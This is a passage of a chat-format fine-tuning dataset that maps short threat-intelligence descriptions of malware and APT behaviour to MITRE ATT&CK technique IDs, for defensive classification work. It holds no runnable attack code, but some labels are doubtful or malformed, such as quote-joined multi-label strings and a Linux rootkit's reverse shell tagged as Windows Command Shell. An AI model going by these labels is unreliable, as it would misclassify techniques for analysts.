                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used backdoors that can delete files used in an attack from an infected system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has conducted targeted surveillance against activists and bloggers."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MarkiRAT can exfiltrate locally stored data via its C2."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ftp may be abused by adversaries to transfer tools or files between systems within a compromised environment."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In addition to the aforementioned DOCX file, we found another related DDE enabled document based on an infrastructure overlap with a Zebrocy C2 IP address. This related delivery document was an RTF file that downloaded and installed a payload used to load the open-source Koadic tool. We do not have telemetry on the target or attack vector, but we know the RTF file used DDE to download and execute an executable that loaded Koadic. We believe the actor used a cryptor on the payload, as it obtains a filename and script from within its resources and decodes these resources by multiplying each byte by negative one. The payload then uses the MD5 hash (14331d289e737093994395d3fc412afc) of what appears to be a hardcoded SHA1 hash (B6A75B1EF701710D7AEADE0FE93DE8477F3BD506) as an RC4 key to decrypts the resulting decoded data. The embedded VBScript is retrieved from a resource and decrypted using the same algorithm as discussed above, which results in the following cleartext"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shamoon creates a new service named “ntssrv” to execute the payload. Newer versions create the \"MaintenaceSrv\" and \"hdv_725x\" services."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Common TCP ports 80 and 443 are used to blend in with routine network traffic"
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port', 'T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FatDuke can used pipes to connect machines with restricted internet access to remote machines via other infected hosts."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has embedded malicious code into websites to screen a potential victim's IP address and then exploit their browser if they are of interest."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling can send files from a victim's machine to Dropbox."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a simple one-byte XOR method to obfuscate values in the malware."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Windows can check if the explorer.exe process is responsible for calling its install function."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used stolen credentials to access administrative accounts within the domain."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has used scheduled tasks to persist on victim systems."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Peppy has the ability to execute shell commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The OopsIE Trojan is configured to use a C2 server hosted at:www.msoffice365cdn[.]com The Trojan will construct specific URLs to communicate with the C2 server and parses the C2 server’s response looking for content within the tags <pre> and </pre>"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1573 - Encrypted Channel', 'T1102 - Web Service', 'T1041 - Exfiltration Over C2 Channel', 'T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Nefilim ransomware uses a batch file to stop services and kill processes in the local host. This batch file abuses taskill.exe using CMD to kill predefined services and processes in the target host. Nefilim distributes this batch file to multiple hosts using two batch files. One of the batch files uses the ‘copy’ command, and the other one uses WMI with hard-coded admin credentials."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sliver can collect network connection information."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The variable $HL39fjh contains the base64-encoded PowerShell command shown in Figure 2. It reads the Windows Registry key where the encrypted payload is stored, and contains the password and the salt needed to decrypt the payload"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All the text files are now packed into the archive temp.zip (%temp%\\temp.zip) - zip is Base64 encoded (with a custom key, same as that used in the malicious document) and then copied to post.txt - txt is uploaded to the control server"
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data', 'T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet uses an RPC server that contains a file dropping routine and support for payload version updates for P2P communications within a victim network."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attack starts with a phishing email that contains a malicious link to a file hosted on Google Docs named “Annual Bonus Report.doc”. When the user clicks on the link, the TrickBot dropper downloads onto the target machine. This differs from previous TrickBot attacks we have seen, where TrickBot is usually dropped through a Microsoft Office document or by another malware like Emotet"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File', 'T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "includes a component based on the code of VNC that can stream a live feed of the desktop of an infected host."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoomBox can enumerate the username on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RCSession can launch itself from a hollowed svchost.exe process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  uploader or malware the uploader uses command to delete the RAR archives after they have been exfiltrated."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM can attempt to run the program as admin, then show a fake error message and a legitimate UAC bypass prompt to the user in an attempt to socially engineer the user into escalating privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The email contained an attachment named Seminar-Invitation.doc, which is a malicious Microsoft Word document we track as ThreeDollars"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AuTo Stealer can collect data such as PowerPoint files, Word documents, Excel files, PDF files, text files, database files, and image files from an infected machine."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the account name of the logged-in user and sends it to the C2."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used `move` to transfer files to a network share."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 temporarily replaced legitimate utilities with their own, executed their payload, and then restored the original file."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy's Delphi variant was packed with UPX."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WINERACK can gather information on the victim username."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LightNeuron has used AES and XOR to decrypt configuration files and commands."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Umbreon provides access using both standard facilities like SSH and additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Denis ran multiple system checks, looking for processor and register characteristics, to evade emulation and analysis."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DanBot can download additional files to a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The \"net view \\\\remotesystem\" and \"net share\" commands in Net can be used to find shared drives and directories on remote and local systems respectively."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reaver encrypts some of its files with XOR."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WannaCry uses Tor for command and control traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The original variant of FakeM encrypts C2 traffic using a custom encryption cipher that uses an XOR key of “YHCRA” and bit rotation between each XOR operation. Some variants of FakeM use RC4 to encrypt C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot can identify the OS version, CPU, and other details from a victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ‘tasklist’ command will use a WMI query or the “ps” command, which allows Kazuar to obtain running processes from both Windows and Unix systems. Also, Kazuar’s ‘cmd’ command will run commands using “cmd.exe” for Windows systems and “/bin/bash” for Unix systems. These two commands provide evidence that the authors of Kazuar intended to use this malware as a cross-platform tool to target both Windows and Unix systems"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation', 'T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Then it checks to see if it was launched by RUNDLL32.exe along with parameter #1"
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has used web shells for persistence or to ensure redundant access."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard has queried the Cloud Instance Metadata API for cloud credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Andariel has limited its watering hole attacks to specific IP address ranges."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpeakUp checks for availability of specific ports on servers."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NotPetya can use valid credentials with PsExec or \"wmic\" to spread itself to remote systems."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has incorporated code into several tools that attempts to terminate anti-virus processes."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "avoids analysis by encrypting all strings, internal files, configuration data."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volgmer installs a copy of itself in a randomly selected service, then overwrites the ServiceDLL entry in the service's Registry entry. Some Volgmer variants also install .dll files as services with names generated by a list of hard-coded strings."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkWatchman has the ability to self-extract as a RAR archive."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actors also collected the files “ntds.dit” and the “SYSTEM” registry hive. DHS observed the threat actors compress all of these files into archives named “SYSTEM.zip” and “comps.zip"
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT can execute \"enum\" to enumerate files in storage on a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used the open source tool Essential NetTools to map the network and build a list of targets."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "(Source: Dell SecureWorks)   The following tools appear to be exclusive to TG-3390:  OwaAuth web shell — A web shell and credential stealer deployed to Microsoft Exchange servers"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) The script uses the function fromCharCode() that returns a string created from a sequence of UTF-16 code units. By using this function, it avoids explicitly writing commands it wants to execute and it hides the actual code it is initiating. In particular, the script uses this function to hide information related to process names. To the best of our knowledge, this method was not used in early versions of the spam campaign. 2) The script uses the function radador(), which returns a randomized integer. In contrast to the first method of obfuscation, this has been used effectively since early versions of the Astaroth Trojan campaign"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideTwist has the ability to download additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors dumped LSASS process memory by using 'rundll32.exe' to execute the MiniDump function exported by the native Windows® DLL 'comsvcs.dll'."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A version of PlugX loads as shellcode within a .NET Framework project using msbuild.exe, presumably to bypass application whitelisting techniques."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 used PowerShell to create new tasks on remote machines, identify configuration settings, exfiltrate data, and to execute other commands."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RemoteUtilities can enumerate files and directories on a target machine."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has renamed the WinRAR utility to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Lazarus Group custom backdoor implant included a custom PE loader named \"Security Package\" that was added into the lsass.exe process via registry key."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has password-protected malicious Word documents and used base64 encoded PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ccf32 can temporarily store files in a hidden directory on the local host."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "samples have been signed with legitimate, compromised code signing certificates owned by software company AI Squared."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ragnar Locker has used rundll32.exe to execute components of VirtualBox."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "More_eggs uses HTTPS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It eventually downloads a PowerShell module from an Amazon S3 bucket URL hxxps://s3[.]amazonaws[.]com/doclibrarysales/test[.]txt and then executes it"
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Web Services', 'T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Finally, REvil ransomware marks its binary code for deletion during the next reboot and terminates execution"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
